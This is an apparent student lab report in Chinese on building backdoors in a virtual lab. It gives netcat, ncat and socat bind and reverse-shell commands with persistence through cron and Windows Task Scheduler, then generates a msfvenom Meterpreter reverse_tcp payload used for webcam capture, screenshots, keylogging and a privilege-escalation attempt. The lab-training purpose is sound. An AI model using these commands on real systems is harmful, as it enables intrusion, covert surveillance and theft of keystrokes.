Exp2 后门原理与实践
实验环境
攻击机
- kali 4.14(64位) (IP: 10.0.2.6/24)
靶机
- ubuntu 16.04(32位) (IP: 10.0.2.4/24)
- windows 7 sp1(64位) (IP: 10.0.2.7/24)
nc/ncat的使用
nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具,有着网络工具中的“瑞士军刀”的美誉。nc的实现版本大致有两种,一种是带有-e或-c 选项
可以直接给出执行命令,另一种不支持-e选项
。
ncat是nmap项目的一部分,在安装nmap的时候会自动安装ncat。ncat号称“21世纪的netcat”,是对netcat的重新实现和升级,而且功能更加强大(如ssl加密、代理连接通过socks4 获取http)
nc的监听模式在kali下会出现问题,监听的端口会随机变化,因此推荐同学们在kali下使用ncat。
nc后门获得win/linux shell
在win7靶机下载netcat后,进入netcat所在文件夹,在命令提示符中输入nc -L -e cmd.exe -p 80
启动后门服务。
-L 选项
或-l
选项是将nc设置为监听模式。-p 选项
指定监听的端口(混淆为80,53等端口往往能穿透防火墙),-e 选项
可以绑定到cmd.exe这个shell程序。
在攻击机中输入nc 10.0.2.7 80
连接到win7靶机,获得win7的shell。
ubuntu自带的nc版本没有-e 选项
,当然可以用ncat替代,这里展示一下没有-e 选项
的nc如何获得shell。(参考man手册)
输入
$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1234 > /tmp/f
攻击机连接后,得到shell
nc获得win/linux反弹shell
前面的示例都是靶机作为服务器,监听攻击机的TCP连接。下面我们让靶机主动连接攻击机,获得反弹式shell。
在攻击机中输入ncat -vv -l 9190
进入监听模式,-vv选项
提供详细的状态输出。
靶机中输入nc 10.0.2.6 9190 -e cmd.exe
主动连接攻击机
攻击机获得shell
nc后门配合cron启动反弹式shell
crontab计划内容的基础知识可以在实验楼中学习,这里给出crontab的格式:
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
- 在攻击机下输入
ncat -vv -l 9190
在端口9190监听
2.在靶机中配置crontable,让它在中午12:00,连接攻击机(做完实验正好出去吃饭)
3.时间到了,攻击机显示靶机10.0.2.4连接,获得反弹shell
socat的使用
socat也是一款很不错的网络工具,可以认为是nc的加强版。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。
这里我们只把socat作为传递shell的工具使用。
socat速查
- 连接端口
socat - tcp:10.0.2.4:80 #连接ip 为 10.0.2.4 主机的80端口
- 监听端口
socat - tcp-l:8080 #侦听本机的8080端口
- 传递远程shell
socat tcp-l:1234 exec:<sh>,pty,stderr #当有主机连接本机的1234端口时,将会发送本机的shell给连接端
socat配合windows任务计划
在win7靶机中点击控制面板->系统和安全->管理工具->任务计划程序
,进入下面的画面:
选择创建任务
,在常规
选项卡中编辑名称,并在触发器
选项卡中选择工作站锁定时
,这样在靶机锁定的时候,我们的socat就会传递远程shell
在操作
选项卡中绑定socat程序,给出参数tcp-listen:9190 exec:cmd.exe,pty,stderr
然后按下win + L
锁定win7靶机,在攻击机中输入socat - tcp:10.0.2.7:9190
,获得远程shell。
Meterpreter的使用
终于到祭出神器Meterpreter的部分了!Meterpreter是Metasploit框架中功能最强大、最有发展前景的模块,它作为可以被渗透攻击植入到目标系统上执行的一个攻击载荷,除了提供基本的会话控制之外,还集成了大量的后渗透攻击的命令和功能,
比如敏感信息搜集、击键记录、本地特权提升等等。
主要事项
市面上的一些关于metasploit的书在某些方面已经过时了(我说的就是参考书《Metasploit魔鬼训练营》和《Metasploit渗透测试指南》),msfcli接口已经没有了,msfpayload和msfencode模块也被移除了,取而代之的是msfvenom,它集成了这两个模块的功能。
所以《Metasploit魔鬼训练营》第9章中的一些内容无法复现出来。
生成后门程序
我们用msfvenom生成一个windows平台的反弹式后门程序,连接端口为9190。
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=9190 -f exe > 20155110_backdoor.exe
我们把这个后门程序拷贝到win7靶机中去,方法有很多,这里使用ncat。
在kali中输入ncat -l 9190 < 20155110_backdoor.exe
在win7靶机的nc所在目录下输入nc 10.0.2.6 9190 > 20155110_backdoor.exe
这样就将程序拷贝到了win7靶机中。
开启后门
接着,让我们进入msfconsole中去,输入use exploit/multi/handler
(可以用tab键补全)
然后选择payload,看一下使用这个攻击载荷需要设置那些东西:
设置攻击机IP和监听的端口
接着输入exploit
,然后在win7靶机中运行后门程序,猎物就上钩了。
检查是否为虚拟机
输入info post/windows/gather/checkvm
,结果显示靶机是一台虚拟机
获得windows命令行
特别简单,只要输入shell
就行了。
打开摄像头
我使用的虚拟机软件是virtual box,需要安装VirtualBox Extension Pack才能让虚拟机使用主机的摄像头。
安装方法(https://jingyan.baidu.com/article/a3761b2b8073361576f9aadf.html)
输入webcam_list
,发现靶机中有摄像头:
输入webcam_snap
,给张照片(被自己丑哭了):
输入webcam_stream
,持续打开摄像头,实况直播,我感觉自己至少比《精通Metasploit渗透测试(第2版)》的作者帅(书的8.2.10小节):
截屏
输入screenshot
即可
键盘记录
输入keyscan_start
开始记录,keyscan_dump
导出记录
尝试提权
getuid
显示当前用户,输入getsystem
尝试提升权限,但是失败了,很遗憾: